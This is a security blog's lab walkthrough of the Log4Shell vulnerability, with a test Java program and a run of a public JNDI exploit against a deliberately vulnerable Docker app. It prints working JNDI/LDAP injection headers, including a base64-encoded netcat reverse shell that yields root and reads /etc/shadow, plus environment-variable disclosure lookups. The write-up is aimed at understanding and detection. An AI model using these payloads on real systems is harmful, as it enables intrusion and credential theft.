Friday, December 24, 2021

Continuing Log4-Shell - Understanding/Testing The Exploit

Now that I have an understanding of the vulnerability, time to look at its exploitation.

First up, unzip the vulnerable app.

┌──(rootđź’€securitynik)-[~/log4j]
└─# unzip log4shell-vulnerable-app-main.zip
Archive:  log4shell-vulnerable-app-main.zip
561f11d5d934725d48028ac04db4fd0b6c18eea0
   creating: log4shell-vulnerable-app-main/
 extracting: log4shell-vulnerable-app-main/.gitignore  
  inflating: log4shell-vulnerable-app-main/Dockerfile  
  inflating: log4shell-vulnerable-app-main/LICENSE  
  inflating: log4shell-vulnerable-app-main/README.md  
  inflating: log4shell-vulnerable-app-main/build.gradle  
   creating: log4shell-vulnerable-app-main/gradle/
   creating: log4shell-vulnerable-app-main/gradle/wrapper/
  inflating: log4shell-vulnerable-app-main/gradle/wrapper/gradle-wrapper.jar  
  inflating: log4shell-vulnerable-app-main/gradle/wrapper/gradle-wrapper.properties  
  inflating: log4shell-vulnerable-app-main/gradlew  
  inflating: log4shell-vulnerable-app-main/gradlew.bat  
  inflating: log4shell-vulnerable-app-main/screenshot.png  
 extracting: log4shell-vulnerable-app-main/settings.gradle  
   creating: log4shell-vulnerable-app-main/src/
   creating: log4shell-vulnerable-app-main/src/main/
   creating: log4shell-vulnerable-app-main/src/main/java/
   creating: log4shell-vulnerable-app-main/src/main/java/fr/
   creating: log4shell-vulnerable-app-main/src/main/java/fr/christophetd/
   creating: log4shell-vulnerable-app-main/src/main/java/fr/christophetd/log4shell/
   creating: log4shell-vulnerable-app-main/src/main/java/fr/christophetd/log4shell/vulnerableapp/
  inflating: log4shell-vulnerable-app-main/src/main/java/fr/christophetd/log4shell/vulnerableapp/MainController.java  
  inflating: log4shell-vulnerable-app-main/src/main/java/fr/christophetd/log4shell/vulnerableapp/VulnerableAppApplication.java  
   creating: log4shell-vulnerable-app-main/src/main/resources/
 extracting: log4shell-vulnerable-app-main/src/main/resources/application.properties  

Install docker on Kali.

┌──(rootđź’€securitynik)-[~/log4j]
└─# apt install docker.io   

Switch into the directory containing the vulnerable app, listing the files and building the docker image.

┌──(rootđź’€securitynik)-[~/log4j]
└─# cd log4shell-vulnerable-app-main/

┌──(rootđź’€securitynik)-[~/log4j/log4shell-vulnerable-app-main]
└─# ls                                                                                                                                                           
build.gradle  Dockerfile  gradle  gradlew  gradlew.bat  LICENSE  README.md  screenshot.png  settings.gradle  src

┌──(rootđź’€securitynik)-[~/log4j/log4shell-vulnerable-app-main]
└─# docker build . -t vulnerable-app                                                                                                                             
Sending build context to Docker daemon    298kB
Step 1/9 : FROM gradle:7.3.1-jdk17 AS builder
7.3.1-jdk17: Pulling from library/gradle
7b1a6ab2e44d: Pull complete 
8329695590e8: Pull complete 
9bd6da4468db: Pull complete 
8e07f21656cb: Pull complete 
ca055f63c612: Pull complete 
8327f35ed409: Pull complete 
9fb8c764d49c: Pull complete 
Digest: sha256:4c6efa1d6a79c15a6a03f8396f0779f294a647ee75d325ae159fef9c778e35ad
Status: Downloaded newer image for gradle:7.3.1-jdk17
 ---> 292487763bf2
Step 2/9 : COPY --chown=gradle:gradle . /home/gradle/src
 ---> b0d3b2dd81fb
Step 3/9 : WORKDIR /home/gradle/src
 ---> Running in 419653a8727a
Removing intermediate container 419653a8727a
 ---> 1787e4dde7be
Step 4/9 : RUN gradle bootJar --no-daemon
 ---> Running in f11af088f5bb

Welcome to Gradle 7.3.1!

Here are the highlights of this release:
 - Easily declare new test suites in Java projects
 - Support for Java 17
 - Support for Scala 3

For more details see https://docs.gradle.org/7.3.1/release-notes.html

To honour the JVM settings for this build a single-use Daemon process will be forked. See https://docs.gradle.org/7.3.1/userguide/gradle_daemon.html#sec:disabling_the_daemon.
Daemon will be stopped at the end of the build 
> Task :compileJava
> Task :processResources
> Task :classes
> Task :bootJarMainClassName
> Task :bootJar

BUILD SUCCESSFUL in 30s
4 actionable tasks: 4 executed
Removing intermediate container f11af088f5bb
 ---> 904932054757
Step 5/9 : FROM openjdk:8u181-jdk-alpine
8u181-jdk-alpine: Pulling from library/openjdk
cd784148e348: Pull complete 
35920a071f91: Pull complete 
f8a5c2c61767: Pull complete 
Digest: sha256:d146ac4892198bfef92e2d246e5b2b17894056ce9534ae0a2837c8d2920c2053
Status: Downloaded newer image for openjdk:8u181-jdk-alpine
 ---> 04060a9dfc39
Step 6/9 : EXPOSE 8080
 ---> Running in 98958acd0ceb
Removing intermediate container 98958acd0ceb
 ---> b132dc3d58cd
Step 7/9 : RUN mkdir /app
 ---> Running in aa5e1837a83b
Removing intermediate container aa5e1837a83b
 ---> ca1b50dd6063
Step 8/9 : COPY --from=builder /home/gradle/src/build/libs/*.jar /app/spring-boot-application.jar
 ---> df7b6fd4bf99
Step 9/9 : CMD ["java", "-jar", "/app/spring-boot-application.jar"]
 ---> Running in dfe469c6d77b
Removing intermediate container dfe469c6d77b
 ---> 31215f4e8186
Successfully built 31215f4e8186
Successfully tagged vulnerable-app:latest

Verifying the image was created

┌──(rootđź’€securitynik)-[~/log4j]
└─# docker images
REPOSITORY       TAG                IMAGE ID       CREATED          SIZE
vulnerable-app   latest             31215f4e8186   46 minutes ago   121MB

With the app built, time to run it.

┌──(rootđź’€securitynik)-[~/log4j/log4shell-vulnerable-app-main]
└─# docker run  -p 8080:8080 --name log4shell-vuln-app vulnerable-app

  .   ____          _            __ _ _
 /\\ / ___'_ __ _ _(_)_ __  __ _ \ \ \ \
( ( )\___ | '_ | '_| | '_ \/ _` | \ \ \ \
 \\/  ___)| |_)| | | | | || (_| |  ) ) ) )
  '  |____| .__|_| |_|_| |_\__, | / / / /
 =========|_|==============|___/=/_/_/_/
 :: Spring Boot ::                (v2.6.1)

2021-12-20 17:12:48.314  INFO 1 --- [           main] f.c.l.v.VulnerableAppApplication         : Starting VulnerableAppApplication using Java 1.8.0_181 on 493de7648f6c with PID 1 (/app/spring-boot-application.jar started by root in /)
2021-12-20 17:12:48.327  INFO 1 --- [           main] f.c.l.v.VulnerableAppApplication         : No active profile set, falling back to default profiles: default
2021-12-20 17:12:49.262  INFO 1 --- [           main] o.s.b.w.e.t.TomcatWebServer              : Tomcat initialized with port(s): 8080 (http)
2021-12-20 17:12:49.280  INFO 1 --- [           main] o.a.c.c.StandardService                  : Starting service [Tomcat]
2021-12-20 17:12:49.280  INFO 1 --- [           main] o.a.c.c.StandardEngine                   : Starting Servlet engine: [Apache Tomcat/9.0.55]
2021-12-20 17:12:49.341  INFO 1 --- [           main] o.a.c.c.C.[.[.[/]                        : Initializing Spring embedded WebApplicationContext
2021-12-20 17:12:49.342  INFO 1 --- [           main] w.s.c.ServletWebServerApplicationContext : Root WebApplicationContext: initialization completed in 950 ms
2021-12-20 17:12:49.706  INFO 1 --- [           main] o.s.b.w.e.t.TomcatWebServer              : Tomcat started on port(s): 8080 (http) with context path ''
2021-12-20 17:12:49.712  INFO 1 --- [           main] f.c.l.v.VulnerableAppApplication         : Started VulnerableAppApplication in 1.803 seconds (JVM running for 2.612)

With the app running, I downloaded and extracted the Remote Code Execution (RCE) Proof of Concept Code (Poc).

┌──(rootđź’€securitynik)-[~/log4j]
└─# unzip Log4shell_JNDIExploit-main.zip 
Archive:  Log4shell_JNDIExploit-main.zip
9f56d8c12e23aee9247408e1b475aa2852726a5e
   creating: Log4shell_JNDIExploit-main/
 extracting: Log4shell_JNDIExploit-main/JNDIExploit.v1.2.zip  
  inflating: Log4shell_JNDIExploit-main/README.md  

One more extracting

┌──(rootđź’€securitynik)-[~/log4j]
└─# cd Log4shell_JNDIExploit-main/

┌──(rootđź’€securitynik)-[~/log4j/Log4shell_JNDIExploit-main]
└─# ls
JNDIExploit.v1.2.zip  README.md

┌──(rootđź’€securitynik)-[~/log4j/Log4shell_JNDIExploit-main]
└─# unzip JNDIExploit.v1.2.zip 
Archive:  JNDIExploit.v1.2.zip
  inflating: JNDIExploit-1.2-SNAPSHOT.jar  
   creating: lib/
  inflating: lib/commons-beanutils-1.8.2.jar  
  inflating: lib/commons-beanutils-1.9.2.jar  

Looking at the help.

┌──(rootđź’€securitynik)-[~/log4j/Log4shell_JNDIExploit-main]
└─# java -jar JNDIExploit-1.2-SNAPSHOT.jar --help
Usage: java -jar JNDIExploit-1.2-SNAPSHOT.jar [options]
  Options:
  * -i, --ip       Local ip address
    -l, --ldapPort Ldap bind port (default: 1389)
    -p, --httpPort Http bind port (default: 8080)
    -u, --usage    Show usage (default: false)
    -h, --help     Show this help

As always, I want to capture the traffic to see what is going on also from the detection and response perspective. As a result, I have the following tcpdump filter.

┌──(rootđź’€securitynik)-[~/log4j]
└─# tcpdump --interface docker0 'tcp port(389 or 443)' -w log4j-docker0.pcapng --print
tcpdump: listening on docker0, link-type EN10MB (Ethernet), snapshot length 262144 bytes

Start the exploit

┌──(rootđź’€securitynik)-[~/log4j/Log4shell_JNDIExploit-main]
└─# java -jar JNDIExploit-1.2-SNAPSHOT.jar --ip 192.168.56.102 --httpPort 443 --ldapPort 389
[+] LDAP Server Start Listening on 389...
[+] HTTP Server Start Listening on 443...

Leveraging the ss command to confirm ports 389 and 443 are listening for the exploit, as well as port 8080 for the vulnerable app.

┌──(rootđź’€securitynik)-[~/log4j]
└─# ss --numeric --listening --tcp --process
State    Recv-Q   Send-Q      Local Address:Port       Peer Address:Port   Process                                     
LISTEN   0        4096              0.0.0.0:8080            0.0.0.0:*       users:(("docker-proxy",pid=124989,fd=4))   
LISTEN   0        128                     *:389                   *:*       users:(("java",pid=125303,fd=10))          
LISTEN   0        4096                 [::]:8080               [::]:*       users:(("docker-proxy",pid=124994,fd=4))   
LISTEN   0        50                      *:443                   *:*       users:(("java",pid=125303,fd=11))    

Looking at it from the docker perspective

┌──(rootđź’€securitynik)-[~/log4j]
└─# docker container ls
CONTAINER ID   IMAGE            COMMAND                  CREATED          STATUS          PORTS                                       NAMES
00fc730a324d   vulnerable-app   "java -jar /app/spri…"   14 minutes ago   Up 14 minutes   0.0.0.0:8080->8080/tcp, :::8080->8080/tcp   log4shell-vulnerable-app

With the server running, time to trigger the exploit using curl.

┌──(rootđź’€securitynik)-[~/log4j]
└─# curl --verbose 127.0.0.1:8080 --header 'X-Api-Version: ${jndi:ldap://192.168.56.102:389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}' --header 'User-Agent: SecurityNik Testing'
*   Trying 127.0.0.1:8080...
* Connected to 127.0.0.1 (127.0.0.1) port 8080 (#0)
> GET / HTTP/1.1
> Host: 127.0.0.1:8080
> Accept: */*
> X-Api-Version: ${jndi:ldap://192.168.56.102:389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}
> User-Agent: SecurityNik Testing
> 
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 
< Content-Type: text/plain;charset=UTF-8
< Content-Length: 13
< Date: Mon, 20 Dec 2021 18:07:32 GMT
< 
* Connection #0 to host 127.0.0.1 left intact
Hello, world!

Looking at the web (TCP 443) and LDAP (TCP/389) server.

┌──(rootđź’€securitynik)-[~/log4j/Log4shell_JNDIExploit-main]
└─# java -jar JNDIExploit-1.2-SNAPSHOT.jar --ip 192.168.56.102 --httpPort 443 --ldapPort 389
[+] LDAP Server Start Listening on 389...
[+] HTTP Server Start Listening on 443...

[+] Received LDAP Query: Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=
[+] Paylaod: command
[+] Command: touch /tmp/pwned

[+] Sending LDAP ResourceRef result for Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo= with basic remote reference payload
[+] Send LDAP reference result for Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo= redirecting to http://192.168.56.102:443/ExploitQ8v7ygBW4i.class
[+] New HTTP Request From /172.17.0.2:51832  /ExploitQ8v7ygBW4i.class
[+] Receive ClassRequest: ExploitQ8v7ygBW4i.class
[+] Response Code: 200

We can see above, the command "touch /tmp/pwned". We can also confirm the base64 encoded content in the LDAP query.

┌──(rootđź’€securitynik)-[~/log4j]
└─# echo dG91Y2ggL3RtcC9wd25lZAo= | base64 --decode 
touch /tmp/pwned

Looking at the log information from the vulnerable  app.

2021-12-20 18:07:32,205 http-nio-8080-exec-2 WARN Error looking up JNDI resource [ldap://192.168.56.102:389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=]. javax.naming.NamingException: problem generating object using object factory [Root exception is java.lang.ClassCastException: ExploitQ8v7ygBW4i cannot be cast to javax.naming.spi.ObjectFactory]; remaining name '"Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo="
...

2021-12-20 18:07:32.012  INFO 1 --- [nio-8080-exec-2] HelloWorld                               : Received a request for API version ${jndi:ldap://192.168.56.102:389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}

verifying the file pwned was created in the /tmp directory

┌──(rootđź’€securitynik)-[~/log4j]
└─# docker exec log4shell-vulnerable-app ls -l /tmp
total 12
drwxr-xr-x    2 root     root          4096 Dec 20 18:01 hsperfdata_root
-rw-r--r--    1 root     root             0 Dec 20 18:07 pwned
drwx------    2 root     root          4096 Dec 20 18:01 tomcat-docbase.8080.6478445071329797321
drwx------    3 root     root          4096 Dec 20 18:01 tomcat.8080.4249672987009843312

Checking to see if nc is on the system, so as to live off the land (LOL). LOL is all about using binaries that are native to the system, to perform malicious tasks. No need to download additional tools.

First up, base64 encode the string which nc to look for nc.

┌──(rootđź’€securitynik)-[~/log4j]
└─# echo "which nc > /tmp/pwned" | base64
d2hpY2ggbmMgPiAvdG1wL3B3bmVkCg==

Modify my command line, with the new base64 encoded content.

┌──(rootđź’€securitynik)-[~/log4j]
└─# curl --verbose 127.0.0.1:8080 --header 'X-Api-Version: ${jndi:ldap://192.168.56.102:389/Basic/Command/Base64/d2hpY2ggbmMgPiAvdG1wL3B3bmVkCg==}' --header 'User-Agent: SecurityNik Testing'
*   Trying 127.0.0.1:8080...
* Connected to 127.0.0.1 (127.0.0.1) port 8080 (#0)
> GET / HTTP/1.1
> Host: 127.0.0.1:8080
> Accept: */*
> X-Api-Version: ${jndi:ldap://192.168.56.102:389/Basic/Command/Base64/d2hpY2ggbmMgPiAvdG1wL3B3bmVkCg==}
> User-Agent: SecurityNik Testing
> 
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 
< Content-Type: text/plain;charset=UTF-8
< Content-Length: 13
< Date: Mon, 20 Dec 2021 18:39:14 GMT
< 
* Connection #0 to host 127.0.0.1 left intact
Hello, world!

Looking at the java application log

2021-12-20 18:39:14.662  INFO 1 --- [nio-8080-exec-4] HelloWorld                               : Received a request for API version ${jndi:ldap://192.168.56.102:389/Basic/Command/Base64/d2hpY2ggbmMgPiAvdG1wL3B3bmVkCg==}

Looking at the exploit 

[+] Received LDAP Query: Basic/Command/Base64/d2hpY2ggbmMgPiAvdG1wL3B3bmVkCg==
[+] Paylaod: command
[+] Command: which nc > /tmp/pwned

[+] Sending LDAP ResourceRef result for Basic/Command/Base64/d2hpY2ggbmMgPiAvdG1wL3B3bmVkCg== with basic remote reference payload
[+] Send LDAP reference result for Basic/Command/Base64/d2hpY2ggbmMgPiAvdG1wL3B3bmVkCg== redirecting to http://192.168.56.102:443/ExploitSMMZvT8GXL.class
[+] New HTTP Request From /172.17.0.2:51834  /ExploitSMMZvT8GXL.class
[+] Receive ClassRequest: ExploitSMMZvT8GXL.class
[+] Response Code: 200

Looking at the entry written to the file.

┌──(rootđź’€securitynik)-[~/log4j]
└─# docker exec log4shell-vulnerable-app cat  /tmp/pwned
/usr/bin/nc

Now that we know nc is installed. on the system, can we get this vulnerable app to send us out a shell? Let's try.

Setup our ncat listener and confirming via ss that it is listening.

┌──(rootđź’€securitynik)-[~/log4j]
└─# ncat --verbose --verbose --listen 0.0.0.0 80 -4  --keep-open
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on 0.0.0.0:80

┌──(rootđź’€securitynik)-[~]
└─# ss --numeric --listening --tcp --process
State    Recv-Q   Send-Q     Local Address:Port     Peer Address:Port   Process                                     
LISTEN   0        10               0.0.0.0:80            0.0.0.0:*       users:(("ncat",pid=151194,fd=3))    
...

Setup a tcpdump to capture the traffic on port 80. Primary reason for a new filter is because the previous filter only focused on ports 389 and 443. We can then use mergecap to merge the two pcaps later.

┌──(rootđź’€securitynik)-[~/log4j]
└─# tcpdump -nn --interface docker0 "port(80 or 389 or 443 or 8080)" -w log4-shell.pcapng --print
tcpdump: listening on docker0, link-type EN10MB (Ethernet), snapshot length 262144 bytes

Base64 encode our payload

┌──(rootđź’€securitynik)-[~/log4j]
└─# echo "nc 192.168.56.102 80 -e /bin/sh -vvv" | base64
bmMgMTkyLjE2OC41Ni4xMDIgODAgLWUgL2Jpbi9zaCAtdnZ2Cg==

With our command encoded, we execute curl again.

┌──(rootđź’€securitynik)-[~/log4j]
└─# curl --verbose 127.0.0.1:8080 --header 'X-Api-Version: ${jndi:ldap://192.168.56.102:389/Basic/Command/Base64/bmMgMTkyLjE2OC41Ni4xMDIgODAgLWUgL2Jpbi9zaCAtdnZ2Cg==}' --header 'User-Agent: SecurityNik Testing'
*   Trying 127.0.0.1:8080...
* Connected to 127.0.0.1 (127.0.0.1) port 8080 (#0)
> GET / HTTP/1.1
> Host: 127.0.0.1:8080
> Accept: */*
> X-Api-Version: ${jndi:ldap://192.168.56.102:389/Basic/Command/Base64/bmMgMTkyLjE2OC41Ni4xMDIgODAgLWUgL2Jpbi9zaCAtdnZ2Cg==}
> User-Agent: SecurityNik Testing
> 
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 
< Content-Type: text/plain;charset=UTF-8
< Content-Length: 13
< Date: Mon, 20 Dec 2021 19:00:58 GMT
< 
* Connection #0 to host 127.0.0.1 left intact
Hello, world!

Looks like nothing exciting happened above. Looking at the log from the vulnerable app.

2021-12-20 19:00:58.961  INFO 1 --- [nio-8080-exec-5] HelloWorld                               : Received a request for API version ${jndi:ldap://192.168.56.102:389/Basic/Command/Base64/bmMgMTkyLjE2OC41Ni4xMDIgODAgLWUgL2Jpbi9zaCAtdnZ2Cg==}

Looking at our exploit server output.

[+] Received LDAP Query: Basic/Command/Base64/bmMgMTkyLjE2OC41Ni4xMDIgODAgLWUgL2Jpbi9zaCAtdnZ2Cg==
[+] Paylaod: command
[+] Command: nc 192.168.56.102 80 -e /bin/sh -vvv

[+] Sending LDAP ResourceRef result for Basic/Command/Base64/bmMgMTkyLjE2OC41Ni4xMDIgODAgLWUgL2Jpbi9zaCAtdnZ2Cg== with basic remote reference payload
[+] Send LDAP reference result for Basic/Command/Base64/bmMgMTkyLjE2OC41Ni4xMDIgODAgLWUgL2Jpbi9zaCAtdnZ2Cg== redirecting to http://192.168.56.102:443/Exploit6HHc3BcVzI.class
[+] New HTTP Request From /172.17.0.2:51836  /Exploit6HHc3BcVzI.class
[+] Receive ClassRequest: Exploit6HHc3BcVzI.class
[+] Response Code: 200

So far it does not look like anything exciting happened. Looking at my ncat session.

┌──(rootđź’€securitynik)-[~/log4j]
└─# ncat --verbose --verbose --listen 0.0.0.0 80 -4  --keep-open
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on 0.0.0.0:80
Ncat: Connection from 172.17.0.2.
Ncat: Connection from 172.17.0.2:37957.


Above says a connection came in from the report host. With the screen being blank, it looks like it was just the connection and that's it. Let's run a few commands to confirm we have a shell.

ls
app
bin
dev
etc
...

whoami
root

uname --all
Linux 00fc730a324d 5.14.0-kali4-amd64 #1 SMP Debian 5.14.16-1kali1 (2021-11-05) x86_64 Linux

id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)

cat /etc/shadow
root:::0:::::
bin:!::0:::::
daemon:!::0:::::
adm:!::0:::::
....

We do have a shell. That shell is also has root level privileges. The fact that we have root level privileges on this host, means we can as do anything we want with the system.

Ok. I believe I have a better understanding of the issue now from both the vulnerability and exploit perspective. Additionally, I have a better understanding of how threat actors are using this PoC to  perform remote code execution to gain access to the vulnerable system. Next up, time to analyze the packets we captured.


Beginning Log4-Shell - Understanding The Issue/Vulnerability

In this five part series, I'm trying to understand more about the Log4J vulnerability and exploitation, as well as its detection from three different perspectives. These are packet analysis, Snort3 rule creation and Zeek signature and scripting. In this initial post, I am mostly following the write up from cybersecurityworldconference.com.

After downloading a copy of apache-log4j-2.14.1-bin.zip and looking at the files:

┌──(rootđź’€securitynik)-[~/log4j]
└─# unzip -l apache-log4j-2.14.1-bin.zip | more
Archive:  apache-log4j-2.14.1-bin.zip
  Length      Date    Time    Name
---------  ---------- -----   ----
        0  2021-03-06 22:10   apache-log4j-2.14.1-bin/
    12534  2021-03-06 22:05   apache-log4j-2.14.1-bin/RELEASE-NOTES.md
    26461  2021-03-06 22:09   apache-log4j-2.14.1-bin/log4j-jul-2.14.1.jar
   206756  2021-03-06 22:08   apache-log4j-2.14.1-bin/log4j-1.2-api-2.14.1.jar
...

Create the file to store my Java code.

┌──(rootđź’€securitynik)-[~/log4j]
└─# touch gDay.java

Writing the first part of the code.

public class gDay {
    public static void main(String ...args)
	{
    	    System.out.println("[*] Hello SecurityNik from main!");
        }
}

Running the code ...

┌──(rootđź’€securitynik)-[~/log4j]
└─# java ./gDay.java
[*] Hello SecurityNik from main!

Extract the files files ...

┌──(rootđź’€securitynik)-[~/log4j]
└─# unzip apache-log4j-2.14.1-bin.zip 
Archive:  apache-log4j-2.14.1-bin.zip
   creating: apache-log4j-2.14.1-bin/
  inflating: apache-log4j-2.14.1-bin/RELEASE-NOTES.md  
  inflating: apache-log4j-2.14.1-bin/log4j-jul-2.14.1.jar  
  inflating: apache-log4j-2.14.1-bin/log4j-1.2-api-2.14.1.jar  
  inflating: apache-log4j-2.14.1-bin/log4j-appserver-2.14.1-javadoc.jar  
  inflating: apache-log4j-2.14.1-bin/NOTICE.txt  
  inflating: apache-log4j-2.14.1-bin/log4j-jul-2.14.1-sources.jar  
...

Copying the two requested files to the location where gDay.java is located.

┌──(rootđź’€securitynik)-[~/log4j]
└─# cp ./apache-log4j-2.14.1-bin/log4j-api-2.14.1.jar ./apache-log4j-2.14.1-bin/log4j-core-2.14.1.jar . -v
'./apache-log4j-2.14.1-bin/log4j-api-2.14.1.jar' -> './log4j-api-2.14.1.jar'
'./apache-log4j-2.14.1-bin/log4j-core-2.14.1.jar' -> './log4j-core-2.14.1.jar'

Looking for the environment variable CLASSPATH

┌──(rootđź’€securitynik)-[~/log4j]
└─# env | grep CLASSPATH

Nothing found. Exporting the two files above into the CLASSPATH environment variable.

┌──(rootđź’€securitynik)-[~/log4j]
└─# export CLASSPATH=log4j-api-2.14.1.jar:log4j-core-2.14.1.jar && env | grep CLASSPATH
CLASSPATH=log4j-api-2.14.1.jar:log4j-core-2.14.1.jar

Reworking the code, to add the logger. It is in this logging framework, that the vulnerability exists.

/* import the logger classes */
import org.apache.logging.log4j.Logger;
import org.apache.logging.log4j.LogManager;


/* Declare Public class gDay */
public class gDay {

    static Logger logger = LogManager.getLogger(gDay.class);
    public static void main(String ...args)
    {
        /* Print the string below on the screen */
	System.out.println("[*] Hello SecurityNik from main!");
				
	/* write the contents at arg[0] error out to the console */
	logger.fatal("This is not going to end nice ;-( " + args[0]);
	System.out.println("[*] I'm not a quitter ... Quiting!");
    }
}

Here is what I got when I rerun it.

┌──(rootđź’€securitynik)-[~/log4j]
└─# java ./gDay.java "aaaaaaaaaaa"                                                      
[*] Hello SecurityNik from main!
10:45:07.700 [main] FATAL gDay - This is not going to end nice ;-( aaaaaaaaaaa
[*] I'm not a quitter ... Quiting!

Notice the error is reported with my argument "aaaaaaaaaaa". Since the threat actor has control of this argument, i.e. the input,  he or she can manipulate it, to do whatever he or she wishes.

Performing a simple lookup using the format '${...}'

Do note, when I attempted this with double quotes, as in java ./gDay.java "{java:version}", this failed for me. What worked was single quotes - ./gDay.java '{java:version}'. First, instead of using all "aaaaaaaaa", let's replace that with code that will result in an information disclosure vulnerability. 

Grabbing the Java version.

┌──(rootđź’€securitynik)-[~/log4j]
└─# java ./gDay.java '${java:version}'
[*] Hello SecurityNik from main!
10:54:40.158 [main] FATAL gDay - This is not going to end nice ;-( Java version 11.0.13
[*] I'm not a quitter ... Quiting!

Now that we can grab the Java version, let's grab some additional Java information, resulting in even more information disclosure.

┌──(rootđź’€securitynik)-[~/log4j]
└─# java ./gDay.java 'Java Information : ${java:version} | ${java:runtime}| ${java:vm} | ${java:os} | ${java:locale} | ${java:hw}'
[*] Hello SecurityNik from main!
11:26:11.456 [main] FATAL gDay - This is not going to end nice ;-( Java Information : Java version 11.0.13 | OpenJDK Runtime Environment (build 11.0.13+8-post-Debian-1) from Debian| OpenJDK 64-Bit Server VM (build 11.0.13+8-post-Debian-1, mixed mode, sharing) | Linux 5.14.0-kali4-amd64 unknown, architecture: amd64-64 | default locale: en_US, platform encoding: UTF-8 | processors: 2, architecture: amd64-64
[*] I'm not a quitter ... Quiting!

Grabbing the user, it's UID and GID from the environment variables. Do keep in mind, sometimes environment variables are used to store credential information. Therefore, if a threat actor can get to those variables, he or she might be able to gain credential information.

┌──(rootđź’€securitynik)-[~/log4j]
└─# java ./gDay.java 'Current User is: ${env:USER}|${env:SUDO_UID}|${env:SUDO_GID}'
[*] Hello SecurityNik from main!
11:06:57.606 [main] FATAL gDay - This is not going to end nice ;-( Current User is: root|1000|1000
[*] I'm not a quitter ... Quiting!

Learning more about the Java Naming and Directory Interface (JNDI) and the lookup command. 

Starting up my ncat listener.

┌──(rootđź’€securitynik)-[~]
└─# ncat --nodns --verbose --verbose --listen 192.168.56.102 443 --exec "/usr/bin/echo -- Welcome to SecurityNik World - [$USER]"
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on 192.168.56.102:443

Note, while in the guide I'm following the NCAT_REMOTE_PORT was used and based on my understanding from the ncat command execution guide "Whatever the exec mode, Ncat sets environment variables in the spawned program's environment that describe the connection.". However, I did not see any of those variables. If you are reading this and know what I did wrong, please let me know. However, here is how I attempted to figure out the environment variables available to the ncat process.

First get the process ID for the running ncat.

┌──(rootđź’€securitynik)-[~/log4j]
└─# ps -u | grep ncat
root        9332  0.0  0.1   8080  2252 pts/1    S+   13:43   0:00 ncat --nodns --verbose --verbose --listen 192.168.56.102 443 --exec /usr/bin/echo -- Welcome to SecurityNik World - [root]

We can see above, it already has root in the brackets, whereas above I specified $USER

With the process ID, I then looked at the /proc file system.

┌──(rootđź’€securitynik)-[~/log4j]
└─# strings /proc/9332/environ 
SHELL=/usr/bin/zsh
COLORTERM=truecolor
SUDO_GID=1000
LANGUAGE=
LESS_TERMCAP_se=
LESS_TERMCAP_so=
[01;33m
SUDO_COMMAND=/usr/bin/zsh
SUDO_USER=kali
PWD=/root
LOGNAME=root
XAUTHORITY=/home/kali/.Xauthority
HOME=/root
LANG=en_US.UTF-8
LS_COLORS=rs=0:di=01;...
TERM=xterm-256color
LESS_TERMCAP_mb=
[1;31m
LESS_TERMCAP_me=
LESS_TERMCAP_md=
[1;36m
USER=root
DISPLAY=:0.0
LESS_TERMCAP_ue=
SHLVL=2
LESS_TERMCAP_us=
[1;32m
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/root/.dotnet/tools
SUDO_UID=1000
MAIL=/var/mail/root
OLDPWD=/root
_=/usr/bin/ncat

As can be seen above, there are no environment variables for ncat other than _=/usr/bin/ncat. If you can see what I missed, please let me know.

Connecting the client application taking advantage of the JNDI lookup.

┌──(rootđź’€securitynik)-[~/log4j]
└─# java ./gDay.java '${jndi:ldap://192.168.56.102:443/Testing}'
[*] Hello SecurityNik from main!
13:50:15.356 [main] FATAL gDay - This is not going to end nice ;-( ${jndi:ldap://192.168.56.102:443/Testing}
[*] I'm not a quitter ... Quiting!

From above, it looks like nothing was achieved.

Looking at the ncat output.

Ncat: Connection from 192.168.56.102.
Ncat: Connection from 192.168.56.102:45312.
NCAT DEBUG: Executing: /usr/bin/echo -- Welcome to SecurityNik World - [root]

Confirming this was sent from the ncat listener to the other side of the connection.

┌──(rootđź’€securitynik)-[~]
└─# tcpdump -nnti any port 443 -A
lo    In  IP 192.168.56.102.45312 > 192.168.56.102.443: Flags [S], seq 3283239103, win 65495, options [mss 65495,sackOK,TS val 3367923743 ecr 0,nop,wscale 7], length 0
E..<..@.@.....8f..8f......@..........K.........
..p.........
lo    In  IP 192.168.56.102.443 > 192.168.56.102.45312: Flags [S.], seq 2200536479, ack 3283239104, win 65483, options [mss 65495,sackOK,TS val 3367923743 ecr 3367923743,nop,wscale 7], length 0
E..<..@.@.H...8f..8f.....)....@......K.........
..p...p.....
lo    In  IP 192.168.56.102.45312 > 192.168.56.102.443: Flags [.], ack 1, win 512, options [nop,nop,TS val 3367923743 ecr 3367923743], length 0
E..4..@.@.....8f..8f......@..).......C.....
..p...p.
lo    In  IP 192.168.56.102.45312 > 192.168.56.102.443: Flags [P.], seq 1:15, ack 1, win 512, options [nop,nop,TS val 3367923745 ecr 3367923743], length 14
E..B..@.@.....8f..8f......@..).......Q.....
..p!..p.0....`........
lo    In  IP 192.168.56.102.443 > 192.168.56.102.45312: Flags [.], ack 15, win 512, options [nop,nop,TS val 3367923745 ecr 3367923745], length 0
E..4..@.@.....8f..8f.....)....@......C.....
..p!..p!
lo    In  IP 192.168.56.102.443 > 192.168.56.102.45312: Flags [P.], seq 1:42, ack 15, win 512, options [nop,nop,TS val 3367923750 ecr 3367923745], length 41
E..].   @.@..t..8f..8f.....)....@......l.....
..p&..p!-- Welcome to SecurityNik World - [root]
...

Leveraging the new version of the two libraries to see if the behavior is different in 2.16.0, than what we saw 2.14.1. Note, just after completing this post, it was reported that there are vulnerabilities in 2.16.0 also. Thus it is recommended (at the time of this writing) to move to 2.17.0.

